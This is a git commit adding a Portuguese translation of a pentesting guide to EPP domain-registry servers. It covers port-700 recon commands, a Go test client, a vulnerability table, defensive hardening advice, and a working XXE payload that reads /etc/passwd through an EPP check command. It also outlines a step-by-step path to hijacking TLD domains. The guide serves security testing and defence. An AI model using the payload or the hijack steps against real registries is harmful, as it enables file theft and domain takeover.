Translated ['src/network-services-pentesting/700-pentesting-epp.md'] to

This commit is contained in:
Translator 2025-08-04 22:13:39 +00:00
parent 4e0145ae26
commit 10a2c7ef25

View File

@ -4,12 +4,112 @@
## Informações Básicas
O Protocolo de Provisionamento Extensível (EPP) é um protocolo de rede usado para a **gestão de nomes de domínio e outros recursos da internet** por registries e registradores de nomes de domínio. Ele permite a automação dos processos de registro, renovação, transferência e exclusão de nomes de domínio, garantindo uma estrutura de comunicação padronizada e segura entre diferentes entidades no sistema de nomes de domínio (DNS). O EPP é projetado para ser flexível e extensível, permitindo a adição de novos recursos e comandos à medida que as necessidades da infraestrutura da internet evoluem.
O Protocolo de Provisionamento Extensível (EPP) é um protocolo de rede usado para a **gestão de nomes de domínio e outros recursos da internet** por registros de nomes de domínio e registradores. Ele permite a automação dos processos de registro, renovação, transferência e exclusão de nomes de domínio, garantindo uma estrutura de comunicação padronizada e segura entre diferentes entidades no sistema de nomes de domínio (DNS). O EPP é projetado para ser flexível e extensível, permitindo a adição de novos recursos e comandos à medida que as necessidades da infraestrutura da internet evoluem.
Basicamente, é um dos protocolos que um **registrador de TLD vai oferecer aos registradores de domínio** para registrar novos domínios no TLD.
### Pentest
[**Neste artigo muito interessante**](https://hackcompute.com/hacking-epp-servers/) você pode ver como algumas pesquisas de segurança descobriram que várias **implementações deste protocolo** eram vulneráveis a XXE (XML External Entity), já que este protocolo usa XML para se comunicar, o que teria permitido que atacantes assumissem o controle de dezenas de TLDs.
[**Neste artigo muito interessante**](https://hackcompute.com/hacking-epp-servers/) você pode ver como algumas pesquisas de segurança descobriram que várias **implementações deste protocolo** eram vulneráveis a XXE (Entidade Externa XML), uma vez que este protocolo usa XML para se comunicar, o que teria permitido que atacantes assumissem o controle de dezenas de TLDs.
---
## Enumeração & Recon
Os servidores EPP quase sempre escutam na porta TCP `700/tcp` sobre TLS. Uma implantação típica também impõe **mutual-TLS (mTLS)**, então o cliente deve apresentar um certificado válido emitido pela CA do registro. No entanto, muitas implantações privadas de teste ou pré-produção esquecem esse controle:
```bash
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head
```
Se o servidor não encerrar a conexão após o handshake TLS, você pode tentar enviar uma mensagem `<hello/>` não autenticada:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>
```
### Clientes de código aberto úteis para testes
* **epp-client (Go)** mantido ativamente, suporta TCP/TLS e EPP-over-HTTPS (RFC 8730):
`go install github.com/domainr/epp/cmd/epp@latest`
* **gandi/go-epp** biblioteca de cliente mínima que pode ser facilmente instrumentada para fuzzing ou fluxos de trabalho estilo nuclei.
* **afq984/php-epp-client** implementação em PHP usada por muitos registradores pequenos; um alvo conveniente para revisão de código.
Exemplo de script mínimo de login+verificação com Go epp-client:
```go
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)
func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}
```
---
## Fraquezas Comuns & Vulnerabilidades 2023-2025
| Ano | Componente | CWE | Impacto |
|-----|------------|-----|---------|
| 2023 | CoCCA Registry < 3.5 | CWE-611 XXE | Leitura remota de arquivo & SSRF via carga útil `<epp>` manipulada (patch: 2023-11-02) |
| 2024 | FRED EPP Server 2.x | CWE-322 Validação insuficiente de certificado TLS | Bypass de mTLS permitiu login não autorizado de registrador |
| 2025 | Painel de registrador proprietário | CWE-306 Falta de Autenticação para Função Crítica | Endpoint de aprovação de transferência de domínio exposto sobre ponte EPP-HTTP |
### Carga útil XXE / SSRF (funciona contra muitas implementações Java/Spring)
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>
```
Quando o parser está mal configurado (`XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true`), o conteúdo do arquivo é retornado dentro da estrutura `<resData>`.
### Outras descobertas típicas
1. **Política de credenciais fracas** senhas de login EPP com menos de 8 caracteres; força bruta é frequentemente viável porque a especificação apenas RECOMENDA (não exige) limitação de taxa.
2. **Falta de status `registryLock` / `serverUpdateProhibited`** uma vez autenticados, os atacantes podem imediatamente atualizar os registros NS e roubar tráfego.
3. **Mensagens de poll não assinadas** algumas implementações ainda não assinam mensagens de Q&A de poll, permitindo spoofing/phishing de operadores de registradores.
---
## Caminho de Ataque: Do Zero ao Sequestro de TLD
1. Descubra um endpoint EPP (frequentemente escondido atrás de um host genérico como `ot&e.<tld>.nic.<cc>`).
2. Abuse uma das fraquezas acima para obter credenciais de nível de registrador (XXE → SSRF para IMDSv1, exfiltração de credenciais ou bypass de TLS).
3. Emita solicitações `<update>` para alterar os registros `hostObj` do domínio para servidores de nome controlados pelo atacante.
4. (Opcional) Envie um `<transfer>` para mover o domínio para um registrador controlado pelo atacante muitos registros ainda dependem de um **único código de autenticação**.
5. Lucro: controle total da zona DNS, capacidade de solicitar certificados TLS via ACME.
---
## Medidas Defensivas & Fortalecimento
* Imponha **mTLS com certificados de cliente por registrador** e fixe a CA do registro.
* Defina `parserFeature secure-processing=true` ou equivalente para eliminar XXE.
* Execute **fuzzing contínuo** do parser XML (por exemplo, com `go-fuzz` ou `jazzer` para Java).
* Implemente status **Registry Lock / server*Prohibited** para domínios de alto valor.
* Monitore a fila `poll` para comandos suspeitos de `<transfer>` ou `<update>` e envie alertas em tempo real.
* Emendas ao contrato de abuso de DNS da ICANN 2024 exigem que os registros provem controles de limitação de taxa e autenticação aproveite-os.
## Referências
* ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Consequences of Registry Operator Failure to Implement EPP Security Controls". 2024.
* HackCompute "Hacking EPP servers: abusing XXE to hijack TLDs" (2023).
{{#include ../banners/hacktricks-training.md}}